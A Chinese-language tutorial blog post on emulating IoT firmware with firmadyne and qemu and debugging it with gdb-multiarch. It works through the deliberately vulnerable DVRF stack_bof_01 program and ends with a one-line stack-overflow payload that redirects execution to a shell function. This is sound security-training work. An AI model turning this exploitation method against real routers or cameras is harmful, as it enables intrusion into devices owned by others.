《IOT废物学习之路》(3)–动态分析IOT固件
动态分析固件之前,需要先把固件运行起来。没有路由器、摄像头之类的物联网硬件的话,就需要用到虚拟执行。虚拟执行就相当于一个虚拟机可以运行各种物联网OS。
虚拟执行固件
工具介绍
firmadyne
本文使用的是iot的docker
1、首先使用如下指令快速启用firmadyne
控制台
1
| sudo docker run --network host --privileged -it --rm -e USER=root asdqwe876/iot_analyze
|
命令解释
命令的含义是在一个交互式的Docker容器中运行名为 asdqwe876/iot_analyze
的镜像,并将容器内的 USER
环境变量设置为 root
。容器在退出后将被立即删除。这个命令通常用于启动临时容器,用于特定的任务或交互式会话,而不需要长期保留容器。
2、接下来准备一个固件,使用一个DWP固件作为demo
1 2 3 4
| cd /root/firmadyne wget -N --continue \ https://github.com/G4rb3n/IoT_Sec_Tutorial/raw/master/03-%E5%8A%A8%E6%80%81%E5%88%86%E6%9E%90IoT%E5%9B%BA%E4%BB%B6/DWP2360b-firmware-v206-rc018.bin \ -O firmware.bin
|
命令解释
这个命令会切换到 /root/firmadyne
目录,然后使用 wget
下载指定 URL 的原始二进制文件,并将其保存为 firmware.bin
在当前目录中。
3、解压固件
1
| python3 ./sources/extractor/extractor.py -b Netgear -sql 127.0.0.1 -np -nk "firmware.bin" images
|
4、识别CPU架构
1
| ./scripts/getArch.sh ./images/$project_id.tar.gz
|
5、存储数据库
1
| ./scripts/tar2db.py -i $project_id -f ./images/$project_id.tar.gz
|
6、创建QEMU镜像
1
| ./scripts/makeImage.sh $project_id
|
7、设置网络接口
1
| ./scripts/inferNetwork.sh $project_id
|
8、运行仿真环境
1
| ./scratch/$project_id/run.sh
|
之后就可以正常访问了。
以上就是如何虚拟执行一个固件。下面介绍如何动态调试分析一个固件。
动态调试分析固件
1、首先下载固件
2、使用docker挂在当前盘符自动解压
1 2 3 4
| docker run -it --rm \ -v $(pwd):$(pwd) \ asdqwe876/iot_analyze \ binwalk --run-as=root -C $(pwd) -Mer $(pwd)/DVRF_v03.bin
|
可以看到文件系统被提取出来了。
提取出来的系统有个文件夹pwnable
,这个文件夹存放着有漏洞的程序示例,选取缓冲区漏洞程序stack_bof_01
进行实验。首先使用readelf
命令查看该程序架构:
1
| readelf -h pwnable/Intro/stack_bof_01
|
3、拷贝qemu-mipsel-static
到当前目录,配合chroot
虚拟执行固件
先拷贝qemu
然后配合chroot
更改根目录进行模拟运行
1
| sudo chroot . ./qemu-mipsel-static ./pwnable/Intro/stack_bof_01
|
chroot的作用是更改当前进程的根目录,虚拟执行需要把文件系统设置为根目录。
查看stack_bof_01
源码,可以明显发现存在strcpy
内存溢出漏洞。
1
| cat DVRF/'Pwnable Source'/Intro/stack_bof_01.c
|
4、开始调试
以调试的方式启动stack_bof_01
,在本地的1234端口监听调试
1
| sudo chroot . ./qemu-mipsel-static -g 1234 ./pwnable/Intro/stack_bof_01
|
运行以下命令开始调试
1
| gdb-multiarch pwnable/Intro/stack_bof_01
|
设置固件架构
远程调试
调用命令查看样本所有函数,可以看到函数的地址。
查看反汇编。
使用cyclic
创建一个300长度的随机字符串。
重新带参调试程序。
发现程序崩溃的地方是0x63616162
,即字符串baac
。
查找字符串位置
程序崩溃是因为函数的返回地址被溢出的字符串覆盖了,导致返回地址处的地址在内存处不存在,所以程序崩溃。
如果想利用这个溢出漏洞,只用把返回地址覆盖为dat_shell
函数,查看其函数地址。
劫持返回地址为dat_shell
函数地址。
1
| sudo chroot . ./qemu-mipsel-static ./pwnable/Intro/stack_bof_01 "$(python -c "print 'A'*204 + '\x5c\x09\x40'")"
|